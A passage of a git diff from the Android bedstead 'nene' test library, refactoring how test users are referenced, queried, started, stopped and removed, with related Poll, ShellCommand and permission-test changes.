         if (user.mType.baseType().contains(UserType.BaseType.PROFILE)) {
             try {
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UnresolvedUser.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UnresolvedUser.java
deleted file mode 100644
index 1845ee6..0000000
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UnresolvedUser.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.bedstead.nene.users;
-
-/**
- * Default implementation of {@link UserReference}.
- *
- * <p>Represents the abstract idea of a {@link User}, which may or may not exist.
- */
-public final class UnresolvedUser extends UserReference {
-    UnresolvedUser(int id) {
-        super(id);
-    }
-
-    @Override
-    public String toString() {
-        return "UnresolvedUser{id=" + id() + "}";
-    }
-}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserBuilder.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserBuilder.java
index 6aca593..31e2685 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserBuilder.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserBuilder.java
@@ -138,7 +138,7 @@
                     commandBuilder.validate(ShellCommandUtils::startsWithSuccess)
                             .executeAndParseOutput(
                                     (output) -> Integer.parseInt(output.split("id ")[1].trim()));
-            return new UnresolvedUser(userId);
+            return new UserReference(userId);
         } catch (AdbException e) {
             throw new NeneException("Could not create user " + this, e);
         }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserReference.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserReference.java
index 38433bf..c5b5b89 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserReference.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserReference.java
@@ -16,38 +16,65 @@
 
 package com.android.bedstead.nene.users;
 
+import static android.Manifest.permission.CREATE_USERS;
+import static android.Manifest.permission.INTERACT_ACROSS_USERS;
 import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
 import static android.os.Build.VERSION_CODES.R;
+import static android.os.Build.VERSION_CODES.S;
+
+import static com.android.bedstead.nene.users.Users.users;
 
 import android.content.Intent;
+import android.content.pm.UserInfo;
 import android.os.UserHandle;
+import android.os.UserManager;
 import android.util.Log;
 
+import androidx.annotation.Nullable;
+
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.exceptions.AdbException;
 import com.android.bedstead.nene.exceptions.NeneException;
 import com.android.bedstead.nene.permissions.PermissionContext;
-import com.android.bedstead.nene.users.User.UserState;
+import com.android.bedstead.nene.utils.Poll;
 import com.android.bedstead.nene.utils.ShellCommand;
 import com.android.bedstead.nene.utils.ShellCommandUtils;
 import com.android.bedstead.nene.utils.Versions;
 import com.android.compatibility.common.util.BlockingBroadcastReceiver;
 
-import javax.annotation.Nullable;
+import java.time.Duration;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Set;
 
 /**
  * A representation of a User on device which may or may not exist.
- *
- * <p>To resolve the user into a {@link User}, see {@link #resolve()}.
  */
-public abstract class UserReference implements AutoCloseable {
+public class UserReference implements AutoCloseable {
+
+    private static final Set<AdbUser.UserState> RUNNING_STATES = new HashSet<>(
+            Arrays.asList(AdbUser.UserState.RUNNING_LOCKED,
+                    AdbUser.UserState.RUNNING_UNLOCKED,
+                    AdbUser.UserState.RUNNING_UNLOCKING)
+    );
 
     private static final String LOG_TAG = "UserReference";
 
     private final int mId;
 
+    private final UserManager mUserManager;
+
+    private Long mSerialNo;
+    private String mName;
+    private UserType mUserType;
+    private Boolean mIsPrimary;
+    private boolean mParentCached = false;
+    private UserReference mParent;
+
     UserReference(int id) {
         mId = id;
+        mUserManager = TestApis.context().androidContextAsUser(this)
+                .getSystemService(UserManager.class);
     }
 
     public final int id() {
@@ -62,30 +89,25 @@
     }
 
     /**
-     * Get the current state of the {@link User} from the device, or {@code null} if the user does
-     * not exist.
-     */
-    @Nullable
-    public final User resolve() {
-        return TestApis.users().fetchUser(mId);
-    }
-
-    /**
      * Remove the user from the device.
      *
      * <p>If the user does not exist, or the removal fails for any other reason, a
      * {@link NeneException} will be thrown.
      */
     public final void remove() {
-        // TODO(scottjonathan): There's a potential issue here as when the user is marked as
-        //  "is removing" the DPC still can't be uninstalled because it's set as the profile owner.
         try {
             // Expected success string is "Success: removed user"
             ShellCommand.builder("pm remove-user")
                     .addOperand(mId)
                     .validate(ShellCommandUtils::startsWithSuccess)
                     .execute();
-            TestApis.users().waitForUserToNotExistOrMatch(this, User::isRemoving);
+
+            Poll.forValue("User exists", this::exists)
+                    .toBeEqualTo(false)
+                    // TODO(b/203630556): Reduce timeout once we have a faster way of removing users
+                    .timeout(Duration.ofMinutes(1))
+                    .errorOnFail()
+                    .await();
         } catch (AdbException e) {
             throw new NeneException("Could not remove user " + this, e);
         }
@@ -94,8 +116,7 @@
     /**
      * Start the user.
      *
-     * <p>After calling this command, the user will be in the {@link UserState#RUNNING_UNLOCKED}
-     * state.
+     * <p>After calling this command, the user will be running unlocked.
      *
      * <p>If the user does not exist, or the start fails for any other reason, a
      * {@link NeneException} will be thrown.
@@ -109,11 +130,12 @@
                     .addOperand("-w")
                     .validate(ShellCommandUtils::startsWithSuccess)
                     .execute();
-            User waitedUser = TestApis.users().waitForUserToNotExistOrMatch(
-                    this, (user) -> user.state() == UserState.RUNNING_UNLOCKED);
-            if (waitedUser == null) {
-                throw new NeneException("User does not exist " + this);
-            }
+
+            Poll.forValue("User running unlocked", () -> isRunning() && isUnlocked())
+                    .toBeEqualTo(true)
+                    .errorOnFail()
+                    .timeout(Duration.ofMinutes(1))
+                    .await();
         } catch (AdbException e) {
             throw new NeneException("Could not start user " + this, e);
         }
@@ -124,7 +146,7 @@
     /**
      * Stop the user.
      *
-     * <p>After calling this command, the user will be in the {@link UserState#NOT_RUNNING} state.
+     * <p>After calling this command, the user will be not running.
      */
     public UserReference stop() {
         try {
@@ -135,11 +157,13 @@
                     .allowEmptyOutput(true)
                     .validate(String::isEmpty)
                     .execute();
-            User waitedUser = TestApis.users().waitForUserToNotExistOrMatch(
-                    this, (user) -> user.state() == UserState.NOT_RUNNING);
-            if (waitedUser == null) {
-                throw new NeneException("User does not exist " + this);
-            }
+
+            Poll.forValue("User running", this::isRunning)
+                    .toBeEqualTo(false)
+                    // TODO(b/203630556): Replace stopping with something faster
+                    .timeout(Duration.ofMinutes(4))
+                    .errorOnFail()
+                    .await();
         } catch (AdbException e) {
             throw new NeneException("Could not stop user " + this, e);
         }
@@ -191,6 +215,148 @@
         return this;
     }
 
+    /** Get the serial number of the user. */
+    public long serialNo() {
+        if (mSerialNo == null) {
+            mSerialNo = TestApis.context().instrumentedContext().getSystemService(UserManager.class)
+                    .getSerialNumberForUser(userHandle());
+
+            if (mSerialNo == -1) {
+                mSerialNo = null;
+                throw new NeneException("User does not exist " + this);
+            }
+        }
+
+        return mSerialNo;
+    }
+
+    /** Get the name of the user. */
+    public String name() {
+        if (mName == null) {
+            if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
+                mName = adbUser().name();
+            } else {
+                try (PermissionContext p = TestApis.permissions().withPermission(CREATE_USERS)) {
+                    mName = TestApis.context().androidContextAsUser(this)
+                            .getSystemService(UserManager.class)
+                            .getUserName();
+                }
+                if (mName.equals("")) {
+                    if (!exists()) {
+                        mName = null;
+                        throw new NeneException("User does not exist " + this);
+                    }
+                }
+            }
+        }
+
+        return mName;
+    }
+
+    /** Is the user running? */
+    public boolean isRunning() {
+        if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
+            AdbUser adbUser = adbUserOrNull();
+            if (adbUser == null) {
+                return false;
+            }
+            return RUNNING_STATES.contains(adbUser().state());
+        }
+        try (PermissionContext p = TestApis.permissions().withPermission(INTERACT_ACROSS_USERS)) {
+            return mUserManager.isUserRunning(userHandle());
+        }
+    }
+
+    /** Is the user unlocked? */
+    public boolean isUnlocked() {
+        if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
+            AdbUser adbUser = adbUserOrNull();
+            if (adbUser == null) {
+                return false;
+            }
+            return adbUser.state().equals(AdbUser.UserState.RUNNING_UNLOCKED);
+        }
+        try (PermissionContext p = TestApis.permissions().withPermission(INTERACT_ACROSS_USERS)) {
+            return mUserManager.isUserUnlocked(userHandle());
+        }
+    }
+
+    /**
+     * Get the user type.
+     */
+    public UserType type() {
+        if (mUserType == null) {
+            if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
+                mUserType = adbUser().type();
+            } else {
+                try (PermissionContext p = TestApis.permissions().withPermission(CREATE_USERS)) {
+                    String userTypeName = mUserManager.getUserType();
+                    if (userTypeName.equals("")) {
+                        throw new NeneException("User does not exist " + this);
+                    }
+                    mUserType = TestApis.users().supportedType(userTypeName);
+                }
+            }
+        }
+        return mUserType;
+    }
+
+    /**
+     * Return {@code true} if this is the primary user.
+     */
+    public Boolean isPrimary() {
+        if (mIsPrimary == null) {
+            if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
+                mIsPrimary = adbUser().isPrimary();
+            } else {
+                mIsPrimary = userInfo().isPrimary();
+            }
+        }
+
+        return mIsPrimary;
+    }
+
+    /**
+     * Return the parent of this profile.
+     *
+     * <p>Returns {@code null} if this user is not a profile.
+     */
+    @Nullable
+    public UserReference parent() {
+        if (!mParentCached) {
+            if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
+                mParent = adbUser().parent();
+            } else {
+                try (PermissionContext p =
+                             TestApis.permissions().withPermission(INTERACT_ACROSS_USERS)) {
+                    UserHandle parentHandle = mUserManager.getProfileParent(userHandle());
+                    if (parentHandle == null) {
+                        if (!exists()) {
+                            throw new NeneException("User does not exist " + this);
+                        }
+
+                        mParent = null;
+                    } else {
+                        mParent = TestApis.users().find(parentHandle);
+                    }
+                }
+            }
+            mParentCached = true;
+        }
+
+        return mParent;
+    }
+
+    /**
+     * Return {@code true} if a user with this ID exists.
+     */
+    public boolean exists() {
+        if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
+            return TestApis.users().all().stream().anyMatch(u -> u.equals(this));
+        }
+        return users().anyMatch(ui -> ui.id == id());
+    }
+
     @Override
     public boolean equals(Object obj) {
         if (!(obj instanceof UserReference)) {
@@ -212,4 +378,26 @@
     public void close() {
         remove();
     }
+
+    private AdbUser adbUserOrNull() {
+        return TestApis.users().fetchUser(mId);
+    }
+
+    private AdbUser adbUser() {
+        AdbUser user = adbUserOrNull();
+        if (user == null) {
+            throw new NeneException("User does not exist " + this);
+        }
+        return user;
+    }
+
+    private UserInfo userInfo() {
+        return users().filter(ui -> ui.id == id()).findFirst()
+                .orElseThrow(() -> new NeneException("User does not exist " + this));
+    }
+
+    @Override
+    public String toString() {
+        return "User{id=" + id() + "}";
+    }
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
index c2f24d2..8bc50dd 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
@@ -16,6 +16,7 @@
 
 package com.android.bedstead.nene.users;
 
+import static android.Manifest.permission.CREATE_USERS;
 import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
 import static android.os.Build.VERSION.SDK_INT;
 import static android.os.Build.VERSION_CODES.S;
@@ -26,7 +27,9 @@
 import static com.android.bedstead.nene.users.UserType.SYSTEM_USER_TYPE_NAME;
 
 import android.app.ActivityManager;
+import android.content.pm.UserInfo;
 import android.os.Build;
+import android.os.SystemProperties;
 import android.os.UserHandle;
 import android.os.UserManager;
 
@@ -38,6 +41,7 @@
 import com.android.bedstead.nene.exceptions.AdbParseException;
 import com.android.bedstead.nene.exceptions.NeneException;
 import com.android.bedstead.nene.permissions.PermissionContext;
+import com.android.bedstead.nene.permissions.Permissions;
 import com.android.bedstead.nene.utils.Poll;
 import com.android.bedstead.nene.utils.ShellCommand;
 import com.android.bedstead.nene.utils.Versions;
@@ -54,17 +58,20 @@
 import java.util.Set;
 import java.util.function.Function;
 import java.util.stream.Collectors;
+import java.util.stream.Stream;
 
 public final class Users {
 
     static final int SYSTEM_USER_ID = 0;
-    private static final long WAIT_FOR_USER_TIMEOUT_MS = 1000 * 240;
+    private static final Duration WAIT_FOR_USER_TIMEOUT = Duration.ofMinutes(4);
     private static final String PROPERTY_STOP_BG_USERS_ON_SWITCH = "fw.stop_bg_users_on_switch";
 
-    private Map<Integer, User> mCachedUsers = null;
+    private Map<Integer, AdbUser> mCachedUsers = null;
     private Map<String, UserType> mCachedUserTypes = null;
     private Set<UserType> mCachedUserTypeValues = null;
     private final AdbUserParser mParser;
+    private static final UserManager sUserManager =
+            TestApis.context().instrumentedContext().getSystemService(UserManager.class);
 
     public static final Users sInstance = new Users();
 
@@ -72,11 +79,17 @@
         mParser = AdbUserParser.get(SDK_INT);
     }
 
-    /** Get all {@link User}s on the device. */
-    public Collection<User> all() {
-        fillCache();
+    /** Get all {@link UserReference}s on the device. */
+    public Collection<UserReference> all() {
+        if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
+            fillCache();
+            return mCachedUsers.keySet().stream().map(UserReference::new)
+                    .collect(Collectors.toSet());
+        }
 
-        return mCachedUsers.values();
+        return users().map(
+                ui -> new UserReference(ui.id)
+        ).collect(Collectors.toSet());
     }
 
     /**
@@ -97,11 +110,11 @@
             }
         }
 
-        List<UserReference> users = new ArrayList<>(TestApis.users().all());
+        List<UserReference> users = new ArrayList<>(all());
         users.sort(Comparator.comparingInt(UserReference::id));
 
         for (UserReference user : users) {
-            if (user.resolve().parent() != null) {
+            if (user.parent() == null) {
                 return user;
             }
         }
@@ -138,30 +151,23 @@
 
     /** Get a {@link UserReference} by {@code id}. */
     public UserReference find(int id) {
-        return new UnresolvedUser(id);
+        return new UserReference(id);
     }
 
     /** Get a {@link UserReference} by {@code userHandle}. */
     public UserReference find(UserHandle userHandle) {
-        return new UnresolvedUser(userHandle.getIdentifier());
-    }
-
-    @Nullable
-    User fetchUser(int id) {
-        // TODO(scottjonathan): fillCache probably does more than we need here -
-        //  can we make it more efficient?
-        fillCache();
-
-        return mCachedUsers.get(id);
+        return new UserReference(userHandle.getIdentifier());
     }
 
     /** Get all supported {@link UserType}s. */
     public Set<UserType> supportedTypes() {
+        // TODO(b/203557600): Stop using adb
         ensureSupportedTypesCacheFilled();
         return mCachedUserTypeValues;
     }
 
     /** Get a {@link UserType} with the given {@code typeName}, or {@code null} */
+    @Nullable
     public UserType supportedType(String typeName) {
         ensureSupportedTypesCacheFilled();
         return mCachedUserTypes.get(typeName);
@@ -307,14 +313,21 @@
      * Get a {@link UserReference} to a user who does not exist.
      */
     public UserReference nonExisting() {
-        fillCache();
+        Set<Integer> userIds;
+        if (Versions.meetsMinimumSdkVersionRequirement(S)) {
+            userIds = users().map(ui -> ui.id).collect(Collectors.toSet());
+        } else {
+            fillCache();
+            userIds = mCachedUsers.keySet();
+        }
+
         int id = 0;
 
-        while (mCachedUsers.get(id) != null) {
+        while (userIds.contains(id)) {
             id++;
         }
 
-        return new UnresolvedUser(id);
+        return new UserReference(id);
     }
 
     private void fillCache() {
@@ -330,10 +343,10 @@
                 ensureSupportedTypesCacheFilled();
             }
 
-            Iterator<Map.Entry<Integer, User>> iterator = mCachedUsers.entrySet().iterator();
+            Iterator<Map.Entry<Integer, AdbUser>> iterator = mCachedUsers.entrySet().iterator();
 
             while (iterator.hasNext()) {
-                Map.Entry<Integer, User> entry = iterator.next();
+                Map.Entry<Integer, AdbUser> entry = iterator.next();
 
                 if (entry.getValue().isRemoving()) {
                     // We don't expose users who are currently being removed
@@ -341,13 +354,13 @@
                     continue;
                 }
 
-                User.MutableUser mutableUser = entry.getValue().mMutableUser;
+                AdbUser.MutableUser mutableUser = entry.getValue().mMutableUser;
 
                 if (SDK_INT < Build.VERSION_CODES.R) {
                     if (entry.getValue().id() == SYSTEM_USER_ID) {
                         mutableUser.mType = supportedType(SYSTEM_USER_TYPE_NAME);
                         mutableUser.mIsPrimary = true;
-                    } else if (entry.getValue().hasFlag(User.FLAG_MANAGED_PROFILE)) {
+                    } else if (entry.getValue().hasFlag(AdbUser.FLAG_MANAGED_PROFILE)) {
                         mutableUser.mType =
                                 supportedType(MANAGED_PROFILE_TYPE_NAME);
                         mutableUser.mIsPrimary = false;
@@ -376,52 +389,41 @@
     }
 
     /**
-     * Block until the user with the given {@code userReference} exists and is in the correct state.
-     *
-     * <p>If this cannot be met before a timeout, a {@link NeneException} will be thrown.
-     */
-    User waitForUserToMatch(UserReference userReference, Function<User, Boolean> userChecker) {
-        return waitForUserToMatch(userReference, userChecker, /* waitForExist= */ true);
-    }
-
-    /**
      * Block until the user with the given {@code userReference} to not exist or to be in the
      * correct state.
      *
      * <p>If this cannot be met before a timeout, a {@link NeneException} will be thrown.
      */
     @Nullable
-    User waitForUserToNotExistOrMatch(
-            UserReference userReference, Function<User, Boolean> userChecker) {
+    UserReference waitForUserToNotExistOrMatch(
+            UserReference userReference, Function<UserReference, Boolean> userChecker) {
         return waitForUserToMatch(userReference, userChecker, /* waitForExist= */ false);
     }
 
     @Nullable
-    private User waitForUserToMatch(
-            UserReference userReference, Function<User, Boolean> userChecker,
+    private UserReference waitForUserToMatch(
+            UserReference userReference, Function<UserReference, Boolean> userChecker,
             boolean waitForExist) {
         // TODO(scottjonathan): This is pretty heavy because we resolve everything when we know we
         //  are throwing away everything except one user. Optimise
         try {
-            return Poll.forValue("user", userReference::resolve)
+            return Poll.forValue("user", () -> userReference)
                     .toMeet((user) -> {
                         if (user == null) {
                             return !waitForExist;
                         }
                         return userChecker.apply(user);
-                    }).timeout(Duration.ofMillis(WAIT_FOR_USER_TIMEOUT_MS))
+                    }).timeout(WAIT_FOR_USER_TIMEOUT)
                     .errorOnFail("Expected user to meet requirement")
                     .await();
         } catch (AssertionError e) {
-            User user = userReference.resolve();
-
-            if (user == null) {
+            if (!userReference.exists()) {
                 throw new NeneException(
                         "Timed out waiting for user state for user "
                                 + userReference + ". User does not exist.", e);
             }
             throw new NeneException(
-                    "Timed out waiting for user state, current state " + user, e
+                    "Timed out waiting for user state, current state " + userReference, e
             );
         }
     }
@@ -447,13 +449,8 @@
         if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
             return false;
         }
-        try {
-            return ShellCommand.builder("getprop")
-                    .addOperand(PROPERTY_STOP_BG_USERS_ON_SWITCH)
-                    .executeAndParseOutput(o -> !o.trim().equals("0"));
-        } catch (AdbException e) {
-            throw new NeneException("Error getting stopBgUsersOnSwitch", e);
-        }
+
+        return SystemProperties.getBoolean(PROPERTY_STOP_BG_USERS_ON_SWITCH, /* def= */ true);
     }
 
     /**
@@ -465,14 +462,30 @@
         if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
             return;
         }
-        try {
-            ShellCommand.builder("setprop")
-                    .addOperand(PROPERTY_STOP_BG_USERS_ON_SWITCH)
-                    .addOperand(stop ? "1" : "0")
-                    .asRoot()
-                    .execute();
-        } catch (AdbException e) {
-            throw new NeneException("Error setting stopBgUsersOnSwitch", e);
+
+        // TODO(203752848): Re-enable this once we can set it
+//        TestApis.systemProperties().set(PROPERTY_STOP_BG_USERS_ON_SWITCH, stop ? "1" : "0");
+    }
+
+    @Nullable
+    AdbUser fetchUser(int id) {
+        fillCache();
+        return mCachedUsers.get(id);
+    }
+
+    static Stream<UserInfo> users() {
+        if (Permissions.sIgnorePermissions.get()) {
+            return sUserManager.getUsers(
+                    /* excludePartial= */ false,
+                    /* excludeDying= */ true,
+                    /* excludePreCreated= */ false).stream();
+        }
+
+        try (PermissionContext p = TestApis.permissions().withPermission(CREATE_USERS)) {
+            return sUserManager.getUsers(
+                    /* excludePartial= */ false,
+                    /* excludeDying= */ true,
+                    /* excludePreCreated= */ false).stream();
         }
     }
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Poll.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Poll.java
index 2ec43e9..d687ab9 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Poll.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Poll.java
@@ -191,7 +191,8 @@
      * See {@link #errorOnFail()} to change this behavior.
      */
     public E await() {
-        Instant endTime = Instant.now().plus(mTimeout);
+        Instant startTime = Instant.now();
+        Instant endTime = startTime.plus(mTimeout);
 
         E value = null;
         int tries = 0;
@@ -229,8 +230,10 @@
         try {
             value = mSupplier.get();
         } catch (Throwable e) {
+            long seconds = Duration.between(startTime, Instant.now()).toMillis() / 1000;
             throw new PollValueFailedException(mErrorSupplier.apply(mValueName, value)
-                    + " - Exception when getting value (checked " + tries + " times)", e);
+                    + " - Exception when getting value (checked " + tries + " times in "
+                    + seconds + " seconds)", e);
         }
 
         try {
@@ -238,11 +241,16 @@
                 return value;
             }
 
+            long seconds = Duration.between(startTime, Instant.now()).toMillis() / 1000;
             throw new PollValueFailedException(
-                    mErrorSupplier.apply(mValueName, value) + " (checked " + tries + " times)");
+                    mErrorSupplier.apply(mValueName, value) + " (checked " + tries + " times in "
+                            + seconds + " seconds)");
         } catch (Throwable e) {
+            long seconds = Duration.between(startTime, Instant.now()).toMillis() / 1000;
             throw new PollValueFailedException(
-                    mErrorSupplier.apply(mValueName, value) + " (checked " + tries + " times)", e);
+                    mErrorSupplier.apply(mValueName, value) + " (checked " + tries + " times in "
+                            + seconds + " seconds)", e);
+
         }
     }
 
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommand.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommand.java
index 2f73f5c..7818bcc 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommand.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommand.java
@@ -126,23 +126,6 @@
         }
 
         /**
-         * Run the command as a given linux user.
-         */
-        @CheckResult
-        public Builder asLinuxUser(String user) {
-            mLinuxUser = user;
-            return this;
-        }
-
-        /**
-         * Run the command as the root linux user.
-         */
-        @CheckResult
-        public Builder asRoot() {
-            return asLinuxUser("root");
-        }
-
-        /**
          * Build the full command including all options and operands.
          */
         public String build() {
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageTest.java
index f3377b8..e6f0f84 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageTest.java
@@ -16,14 +16,14 @@
 
 package com.android.bedstead.nene.packages;
 
-import static android.os.Environment.DIRECTORY_DOCUMENTS;
+import static android.Manifest.permission.MANAGE_EXTERNAL_STORAGE;
+import static android.os.Build.VERSION_CODES.R;
 
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.testng.Assert.assertThrows;
 
 import android.content.Context;
-import android.os.Build;
 import android.os.Environment;
 
 import com.android.bedstead.harrier.BedsteadJUnit4;
@@ -34,8 +34,8 @@
 import com.android.bedstead.harrier.annotations.RequireRunOnSystemUser;
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.permissions.PermissionContext;
 import com.android.bedstead.nene.users.UserReference;
-import com.android.bedstead.nene.utils.Versions;
 import com.android.bedstead.testapp.TestApp;
 import com.android.bedstead.testapp.TestAppInstanceReference;
 import com.android.bedstead.testapp.TestAppProvider;
@@ -82,27 +82,24 @@
                     StringQuery.string().isEqualTo(DECLARED_RUNTIME_PERMISSION),
                     StringQuery.string().isEqualTo(INSTALL_PERMISSION)
             ).get();
-    private static final File sOutputDir = getOutputDir();
     // TODO(b/202705721): Fix issue with file name conflicts and go with a fixed name
-    private static final File sTestAppApkFile = new File(sOutputDir, UUID.randomUUID() + ".apk");
-
-
-    private static File getOutputDir() {
-        if (Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.R)) {
-            return Environment.getExternalStoragePublicDirectory(DIRECTORY_DOCUMENTS);
-        }
-
-        return sContext.getFilesDir();
-    }
+    private static final File sTestAppApkFile = new File(
+            Environment.getExternalStorageDirectory(), UUID.randomUUID() + ".apk");
 
     @BeforeClass
     public static void setupClass() throws Exception {
-        sTestApp.writeApkFile(sTestAppApkFile);
+        try (PermissionContext p = TestApis.permissions()
+                .withPermissionOnVersion(R, MANAGE_EXTERNAL_STORAGE)) {
+            sTestApp.writeApkFile(sTestAppApkFile);
+        }
     }
 
     @AfterClass
     public static void teardownClass() throws Exception {
-        sTestAppApkFile.delete();
+        try (PermissionContext p = TestApis.permissions()
+                .withPermissionOnVersion(R, MANAGE_EXTERNAL_STORAGE)) {
+            sTestAppApkFile.delete();
+        }
     }
 
     @Test
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/permissions/PermissionsTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/permissions/PermissionsTest.java
index 95df0b7..9b071e1 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/permissions/PermissionsTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/permissions/PermissionsTest.java
@@ -16,8 +16,10 @@
 
 package com.android.bedstead.nene.permissions;
 
+import static android.Manifest.permission.MANAGE_EXTERNAL_STORAGE;
 import static android.content.pm.PackageManager.PERMISSION_DENIED;
 import static android.content.pm.PackageManager.PERMISSION_GRANTED;
+import static android.os.Build.VERSION_CODES.P;
 import static android.os.Build.VERSION_CODES.Q;
 import static android.os.Build.VERSION_CODES.R;
 import static android.os.Build.VERSION_CODES.S;
@@ -79,7 +81,7 @@
     }
 
     @Test
-    @RequireSdkVersion(min = Q, reason = "adopt shell permissions only available on Q+")
+    @RequireSdkVersion(max = P, reason = "adopt shell permissions only available on Q+")
     public void withoutPermission_alreadyGranted_androidPreQ_throwsException() {
         assertThrows(NeneException.class,
                 () -> TestApis.permissions().withoutPermission(
@@ -114,7 +116,7 @@
     }
 
     @Test
-    @RequireSdkVersion(min = Q, reason = "adopt shell permissions only available on Q+")
+    @RequireSdkVersion(max = P, reason = "adopt shell permissions only available on Q+")
     public void withoutPermission_installPermission_androidPreQ_throwsException() {
         assertThrows(NeneException.class,
                 () -> TestApis.permissions().withoutPermission(INSTALL_PERMISSION));
@@ -135,7 +137,7 @@
     }
 
     @Test
-    @RequireSdkVersion(min = Q, reason = "adopt shell permissions only available on Q+")
+    @RequireSdkVersion(max = P, reason = "adopt shell permissions only available on Q+")
     public void withoutPermission_permissionIsAlreadyGrantedInInstrumentedApp_androidPreQ_throwsException() {
         assertThrows(NeneException.class,
                 () -> TestApis.permissions().withoutPermission(
@@ -228,4 +230,24 @@
 
     // TODO(scottjonathan): Once we can install the testapp without granting all runtime
     //  permissions, add a test that this works pre-Q
+
+    @Test
+    @RequireSdkVersion(min = R, max = R)
+    public void withPermissionOnVersion_onVersion_hasPermission() {
+        try (PermissionContext p =
+                     TestApis.permissions().withPermissionOnVersion(R, MANAGE_EXTERNAL_STORAGE)) {
+            assertThat(sContext.checkSelfPermission(MANAGE_EXTERNAL_STORAGE))
+                    .isEqualTo(PERMISSION_GRANTED);
+        }
+    }
+
+    @Test
+    @RequireSdkVersion(min = S)
+    public void withPermissionOnVersion_notOnVersion_doesNotHavePermission() {
+        try (PermissionContext p =
+                     TestApis.permissions().withPermissionOnVersion(R, MANAGE_EXTERNAL_STORAGE)) {
+            assertThat(sContext.checkSelfPermission(MANAGE_EXTERNAL_STORAGE))
+                    .isNotEqualTo(PERMISSION_GRANTED);
+        }
+    }
 }
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserReferenceTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserReferenceTest.java
index 2b4aec2..6c3fd37 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserReferenceTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserReferenceTest.java
@@ -16,10 +16,12 @@
 
 package com.android.bedstead.nene.users;
 
+import static android.Manifest.permission.CREATE_USERS;
 import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
 import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.os.Build.VERSION_CODES.Q;
+import static android.os.Build.VERSION_CODES.S;
 
 import static com.google.common.truth.Truth.assertThat;
 
@@ -27,11 +29,12 @@
 
 import android.content.Context;
 import android.content.Intent;
+import android.os.Process;
+import android.os.UserManager;
 
 import com.android.bedstead.harrier.BedsteadJUnit4;
 import com.android.bedstead.harrier.DeviceState;
-import com.android.bedstead.harrier.annotations.EnsureHasNoSecondaryUser;
-import com.android.bedstead.harrier.annotations.EnsureHasNoWorkProfile;
